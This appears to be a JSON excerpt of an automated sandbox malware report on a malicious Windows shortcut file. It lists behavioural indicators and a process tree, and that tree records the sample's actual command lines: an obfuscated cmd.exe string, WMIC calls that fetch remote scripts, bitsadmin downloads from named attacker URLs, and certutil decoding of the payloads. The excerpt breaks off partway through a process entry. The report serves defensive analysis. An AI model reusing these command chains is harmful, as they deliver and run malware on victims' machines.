Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00099715-00001180-45923-128-4AC3D3B3\n GetVersion@KERNEL32.DLL at 00099818-00003104-51763-128-4AC3D3B3\n GetVersion@KERNEL32.DLL at 00099820-00001136-55852-128-4AC3D3B3","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the system locale","description":"GetUserDefaultLCID@KERNEL32.DLL at 00099715-00001180-45923-31-4AC3756D\n GetUserDefaultLCID@KERNEL32.DLL at 00099715-00001180-45923-42-4AC3D701\n GetUserDefaultLCID@KERNEL32.DLL at 00099715-00001180-45923-20-4AC4270D\n GetUserDefaultLCID@KERNEL32.DLL at 00099715-00001180-45923-218-4AC388D9\n GetUserDefaultLCID@KERNEL32.DLL at 00099818-00003104-51763-31-4AC3756D\n GetUserDefaultLCID@KERNEL32.DLL at 00099818-00003104-51763-42-4AC3D701\n GetUserDefaultLCID@KERNEL32.DLL at 00099818-00003104-51763-20-4AC4270D\n GetUserDefaultLCID@KERNEL32.DLL at 00099818-00003104-51763-218-4AC388D9\n GetUserDefaultLCID@KERNEL32.DLL at 00099820-00001136-55852-31-4AC3756D\n GetUserDefaultLCID@KERNEL32.DLL at 00099820-00001136-55852-20-4AC4270D\n GetUserDefaultLCID@KERNEL32.DLL at 00099820-00001136-55852-42-4AC3D701\n GetUserDefaultLCID@KERNEL32.DLL at 00099820-00001136-55852-218-4AC388D9","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-49","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceExW@KERNEL32.DLL at 00099715-00001180-45923-376-4AC43185\n GetDiskFreeSpaceExW@KERNEL32.DLL at 00099818-00003104-51763-376-4AC43185\n GetDiskFreeSpaceExW@KERNEL32.DLL at 00099820-00001136-55852-376-4AC43185","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Makes a code branch decision directly after an API that is environment aware","description":"Found API call GetLocalTime@KERNEL32.DLL directly followed by \"cmp esi, ebx\" and \"jne 4AC4C714h\" at 00099715-00001180-45923-452-4AC4C53D\n Found API call GetLocalTime@KERNEL32.DLL directly followed by \"cmp esi, ebx\" and \"jne 4AC4C714h\" at 00099818-00003104-51763-452-4AC4C53D\n Found API call GetLocalTime@KERNEL32.DLL directly followed by \"cmp esi, ebx\" and \"jne 4AC4C714h\" at 00099820-00001136-55852-452-4AC4C53D","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-39","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Possibly tries to detect the presence of a debugger","description":"$2a","origin":"Hybrid Analysis Technology","relevance":1,"id":"stream-31","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"cmd.pdb\"\n \"WMIC.pdb\"","origin":"File/Memory","relevance":1,"id":"string-7","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Installation/Persistance","name":"Connects to LPC ports","description":"\"WMIC.exe\" connecting to \"\\ThemeApiPort\"","origin":"API Call","relevance":1,"id":"api-16","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Installation/Persistance","name":"Monitors specific registry key for changes","description":"\"WMIC.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 0)\n \"WMIC.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 0)\n \"WMIC.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\crypt32\" (Filter: 4; Subtree: 0)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"\"cmd.exe\" wrote 32 bytes to a remote process \"%WINDIR%\\System32\\wbem\\WMIC.exe\" (Handle: 80)\n \"cmd.exe\" wrote 52 bytes to a remote process \"%WINDIR%\\System32\\wbem\\WMIC.exe\" (Handle: 80)\n \"cmd.exe\" wrote 4 bytes to a remote process \"%WINDIR%\\System32\\wbem\\WMIC.exe\" (Handle: 80)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"malicious","category":"General","name":"Contains ability to start/interact with device drivers","description":"DeviceIoControl@KERNEL32.DLL at 00099715-00001180-45923-363-4AC3A904\n DeviceIoControl@KERNEL32.DLL at 00099818-00003104-51763-363-4AC3A904\n DeviceIoControl@KERNEL32.DLL at 00099820-00001136-55852-363-4AC3A904","origin":"Hybrid Analysis Technology","relevance":8,"id":"stream-21","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains native function calls","description":"NtOpenProcessToken@NTDLL.DLL at 00099715-00001180-45923-212-4AC3C48A\n NtQueryInformationProcess@NTDLL.DLL at 00099715-00001180-45923-437-4AC418A6\n NtQueryInformationToken@NTDLL.DLL at 00099715-00001180-45923-213-4AC3C52D\n NtFsControlFile@NTDLL.DLL at 00099715-00001180-45923-501-4AC51E61\n NtOpenProcessToken@NTDLL.DLL at 00099818-00003104-51763-212-4AC3C48A\n NtQueryInformationToken@NTDLL.DLL at 00099818-00003104-51763-213-4AC3C52D\n NtQueryInformationProcess@NTDLL.DLL at 00099818-00003104-51763-437-4AC418A6\n NtFsControlFile@NTDLL.DLL at 00099818-00003104-51763-501-4AC51E61\n NtOpenProcessToken@NTDLL.DLL at 00099820-00001136-55852-212-4AC3C48A\n NtQueryInformationToken@NTDLL.DLL at 00099820-00001136-55852-213-4AC3C52D\n NtQueryInformationProcess@NTDLL.DLL at 00099820-00001136-55852-437-4AC418A6\n NtFsControlFile@NTDLL.DLL at 00099820-00001136-55852-501-4AC51E61","origin":"Hybrid Analysis Technology","relevance":5,"id":"stream-22","sources":[{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API SetThreadUILanguage@KERNEL32.DLL at 00034166-00002416-37260-154-4A571690\n Found reference to API NtQueryInformationProcess@NTDLL.DLL at 00034166-00002416-37260-191-4A58D539\n Found reference to API SetThreadUILanguage@KERNEL32.DLL at 00034268-00002404-43067-154-4A571690\n Found reference to API NtQueryInformationProcess@NTDLL.DLL at 00034268-00002404-43067-191-4A58D539\n Found reference to API SetThreadUILanguage@KERNEL32.DLL at 00034270-00002752-47822-154-4A571690\n Found reference to API NtQueryInformationProcess@NTDLL.DLL at 00034270-00002752-47822-191-4A58D539","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the registry for installed applications","description":"\"WMIC.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WMIC.EXE\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\WMIC.EXE\")\n \"WMIC.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\BITSADMIN.EXE\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\BITSADMIN.EXE\")\n \"WMIC.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CERTUTIL.EXE\")\n \"WMIC.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\CERTUTIL.EXE\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-55","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Logged script engine calls","description":"\"WMIC.exe\" called \"WScript.Shell.1.CreateObject\" ... \n \"WMIC.exe\" called \"Shell.Application.1.CreateObject\" ...","origin":"API Call","relevance":10,"id":"api-64","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Reads configuration files","description":"\"WMIC.exe\" read file \"%USERPROFILE%\\Desktop\\desktop.ini\"","origin":"API Call","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"General","name":"Runs shell commands","description":"\"/V /K \"echo 139_TESLA_>%PUBLIC%\\Libraries\\temporary\\r1.log\"&& exit\" on 2019-5-3.13:52:51.818\n \"/k echo %time% && timeout 4000 > NUL && exit\" on 2019-5-3.13:54:14.779","origin":"Monitored Target","relevance":5,"id":"target-3","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Installation/Persistance","name":"Opens the MountPointManager (often used to detect additional infection locations)","description":"\"WMIC.exe\" opened \"\\Device\\MountPointManager\"","origin":"API Call","relevance":5,"id":"api-51","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"informative","category":"Unusual Characteristics","name":"Uses certutil from the Windows Certificate Services","description":"Process \"certutil.exe\" (UID: 00035440-00003916)\n Process \"certutil.exe\" (UID: 00035527-00003280)\n Process \"certutil.exe\" (UID: 00035602-00003912)\n Process \"certutil.exe\" (UID: 00035697-00003780)\n Process \"certutil.exe\" (UID: 00035765-00001412)\n Process \"certutil.exe\" (UID: 00035839-00003360)\n Process \"certutil.exe\" (UID: 00035902-00003464)\n Process \"certutil.exe\" (UID: 00035975-00003716)\n Process \"certutil.exe\" (UID: 00036093-00003396)\n Process \"certutil.exe\" (UID: 00036227-00002488)\n Process \"certutil.exe\" (UID: 00036352-00003976)","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":10,"id":"target-60","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"Environment Awareness","name":"Possibly tries to evade analysis by sleeping many times","description":"\"timeout.exe\" (Thread ID: 2272) slept \"520\" times (threshold: 500)","origin":"API Call","relevance":10,"id":"api-47","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"Exploit/Shellcode","name":"Contains escaped byte string (often part of obfuscated shellcode)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1140","relevance":10,"id":"string-15","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\"WMIC.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Classes\\CLSID\\{871C5380-42A0-1069-A2EA-08002B30309D}\"","origin":"API Call","mitre_attack_id":"T1055","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"System Destruction","name":"Marks file for deletion","description":"\"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cer742F.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cer796F.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cer7DF3.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cer8390.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cer87F5.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cer8C4B.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cer9042.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cer9488.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cer9C0A.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cerA457.tmp\" for deletion\n \"%WINDIR%\\SysWOW64\\certutil.exe\" marked \"%WINDIR%\\cerABE8.tmp\" for deletion","origin":"API Call","mitre_attack_id":"T1107","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"\"certutil.exe\" opened \"%WINDIR%\\cer742F.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cer796F.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cer7DF3.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cer8390.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cer87F5.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cer8C4B.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cer9042.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cer9488.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cer9C0A.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cerA457.tmp\" with delete access\n \"certutil.exe\" opened \"%WINDIR%\\cerABE8.tmp\" with delete access","origin":"API Call","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\"WMIC.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"bitsadmin.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")\n \"certutil.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Uses certutil to decode a file (seen on targeted attacks)","description":"$2c","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":10,"id":"target-59","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"malicious","category":"Anti-Reverse Engineering","name":"Uses timeout.exe with a long delay (often used to bypass analysis)","description":"Process \"timeout.exe\" with commandline \"timeout 4000\" (UID: 00036397-00001672)","origin":"Monitored Target","relevance":7,"id":"target-52","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"malicious","category":"Installation/Persistance","name":"Utilizes bitsadmin (possibly used for persistence)","description":"$2d","origin":"Monitored Target","mitre_attack_id":"T1197","relevance":5,"id":"target-30","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"malicious","category":"Network Related","name":"Malicious artifacts seen in the context of a contacted host","description":"$2e","origin":"Network Traffic","relevance":10,"id":"network-21","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$2f","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}],"incidents":[{"name":"Fingerprint","details_count":1,"details":[{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5d66ca2802883831924d31c7"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"Persistence","details_count":1,"details":[{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"name":"Exploit","details_count":1,"details":[{"detail":"Contains escaped byte string (often part of obfuscated shellcode)"}],"sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}]},"activity":{"stats":{"process_count":30,"spawned_processes_count":30,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":4,"imported_dlls_count":120,"dropped_files_count":0,"extracted_files_count":13,"files_written_count":85,"files_deleted_count":0,"registry_keys_created_count":25,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":27,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":4,"dns_resolutions_count":2,"contacted_urls_count":4,"http_requests_count":4},"behavior_tags":["apt"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"sandbox_reports":[{"id":"5e7e7bd38beb8326d0142c32","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.LNK.Agent","contacted_countries":["USA"],"submit_name":"82942e3356e6d3017e4952491d2a6d8ce5748cfd15387b5bcaaf45a3cb6cf35a","analysis_start_time":"2020-03-27T22:19:09+00:00","indicators_count":{"informative":26,"suspicious":4,"malicious":3},"tags":["Multi-Process","Network Traffic","Extracted Files","TOR analysis"],"is_in_unified_schema":true},{"id":"5d66ca2802883831924d31c7","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.LNK.Agent","submit_name":"certidao.htm.lnk","analysis_start_time":"2019-08-28T18:35:49+00:00","indicators_count":{"informative":25,"suspicious":7,"malicious":5},"tags":["Multi-Process"],"is_in_unified_schema":true},{"id":"5ccc295303883828885f8166","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["USA"],"submit_name":"certidao.htm.lnk","analysis_start_time":"2019-05-03T11:43:06+00:00","indicators_count":{"informative":37,"suspicious":17,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"172.217.0.16","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"address":"172.217.10.3","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"address":"172.217.15.112","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"address":"172.217.5.227","port":80,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}],"dns_resolutions":[{"domain":"ocsp.pki.goog","address":"172.217.10.3","ttl":136,"country":"United States","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"domain":"storage.googleapis.com","address":"172.217.9.16","ttl":299,"country":"United States","registrar_name":"MarkMonitor, Inc.","registrar_organization":"Google Inc.","registrar_creation_date":"2005-01-25T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"},{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}],"http_requests":[{"host":"ocsp.pki.goog","host_ip":"172.217.10.3:80","url":"/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjtJqhjYqpgSVpULg%3D","method":"GET","header":"GET /gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjtJqhjYqpgSVpULg%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"host":"ocsp.pki.goog","host_ip":"172.217.10.3:80","url":"/gts1o1/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQDy4NKedukSQwgAAAAAMgpY","method":"GET","header":"GET /gts1o1/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRCRjDCJxnb3nDwj%2Fxz5aZfZjgXvAQUmNH4bhDrz5vsYJ8YkBug630J%2FSsCEQDy4NKedukSQwgAAAAAMgpY HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"5e7e7bd38beb8326d0142c32"}]},{"host":"ocsp.pki.goog","host_ip":"172.217.5.227:80","url":"/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D","method":"GET","header":"GET /gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]},{"host":"ocsp.pki.goog","host_ip":"172.217.5.227:80","url":"/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEA8gxBRpOSzWSR3SwxYQYcM%3D","method":"GET","header":"GET /GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEA8gxBRpOSzWSR3SwxYQYcM%3D HTTP/1.1\nConnection: Keep-Alive\nAccept: */*\nUser-Agent: Microsoft-CryptoAPI/6.1\nHost: ocsp.pki.goog","sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5ccc295303883828885f8166"}],"processes":[{"pid":2416,"ppid":0,"name":"cmd.exe","command_line":"/V /C \"set x=C77jhd2766:\\\\77jhd2766W77jhd2766i77jhd2766nd77jhd2766ow77jhd2766s\\\\s77jhd2766ys77jhd2766te77jhd2766m377jhd2766277jhd2766\\\\77jhd2766w77jhd2766b77jhd2766e77jhd2766m\\\\W77jhd2766M77jhd2766I77jhd2766C.e77jhd2766x77jhd2766e o77jhd2766s g77jhd2766e77jhd2766t UF77jhd2766H77jhd2766K77jhd2766m77jhd2766xi77jhd2766h277jhd2766, fre77jhd2766evi77jhd2766r77jhd2766t77jhd2766u77jhd2766a77jhd2766l77jhd2766me77jhd2766mo77jhd2766ry77jhd2766 /77jhd2766fo77jhd2766rm77jhd2766at:\"h77jhd2766t77jhd2766t77jhd2766p77jhd2766s77jhd2766:77jhd2766/77jhd2766/st77jhd2766o77jhd2766r77jhd2766ag77jhd2766e.77jhd2766go77jhd2766og77jhd2766lea77jhd2766pis77jhd2766.co77jhd2766m77jhd2766/77jhd2766a77jhd2766w77jhd2766s77jhd2766d77jhd2766x/77jhd27660977jhd2766/v77jhd2766.t77jhd2766xt77jhd2766#0277jhd276650177jhd27664q277jhd2766977jhd2766I77jhd2766S77jhd2766q77jhd2766c77jhd2766z77jhd2766v\" &&echo %x:77jhd2766=%|%WINDIR%\\system32\\cmd.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","uid":"00034166-00002416","icon":"$30"},{"pid":2404,"ppid":2416,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /S /D /c\" echo %x:77jhd2766=%\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00034166-00002416","uid":"00034268-00002404"},{"pid":2752,"ppid":2416,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00034166-00002416","uid":"00034270-00002752"},{"pid":2372,"ppid":2752,"name":"WMIC.exe","command_line":"C:\\\\Windows\\\\system32\\\\wbem\\\\WMIC.exe os get UFHKmxih2, freevirtualmemory /format:\"https://storage.googleapis.com/awsdx/09/v.txt#025014q29ISqczv\"","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\SysWOW64\\wbem\\WMIC.exe","parent_uid":"00034270-00002752","uid":"00034451-00002372"},{"pid":1644,"ppid":2372,"name":"WMIC.exe","command_line":"os get SGJODWQB, YTTMYLOR, ERVCAKQF, lastbootupdate /format:\"https://storage.googleapis.com/awsdx/09/vv.txt?6339627\"","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\SysWOW64\\wbem\\WMIC.exe","parent_uid":"00034451-00002372","uid":"00035117-00001644"},{"pid":3144,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwa.jpg.zip.log?861596569 %PUBLIC%\\Libraries\\temporary\\falxconxrenwa.jpg.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00035402-00003144"},{"pid":3916,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenwa.jpg.z %PUBLIC%\\Libraries\\temporary\\falxconxrenwa.jpg","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00035440-00003916"},{"pid":4084,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwb.jpg.zip.log?645494996 %PUBLIC%\\Libraries\\temporary\\falxconxrenwb.jpg.z","sha256":"838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00","normalized_path":"%WINDIR%\\SysWOW64\\bitsadmin.exe","parent_uid":"00035117-00001644","uid":"00035474-00004084"},{"pid":3280,"ppid":1644,"name":"certutil.exe","command_line":"-decode %PUBLIC%\\Libraries\\temporary\\falxconxrenwb.jpg.z %PUBLIC%\\Libraries\\temporary\\falxconxrenwb.jpg","sha256":"48850fb7229d99e48c3a749556684e962587058d612c659c58f8b8db2d00abee","normalized_path":"%WINDIR%\\SysWOW64\\certutil.exe","parent_uid":"00035117-00001644","uid":"00035527-00003280"},{"pid":3336,"ppid":1644,"name":"bitsadmin.exe","command_line":"/transfer msd5 /priority foreground https://raw.githubusercontent.com/aswxd/x/master/09/falxconxrenwc.jpg.zip.log?130833459 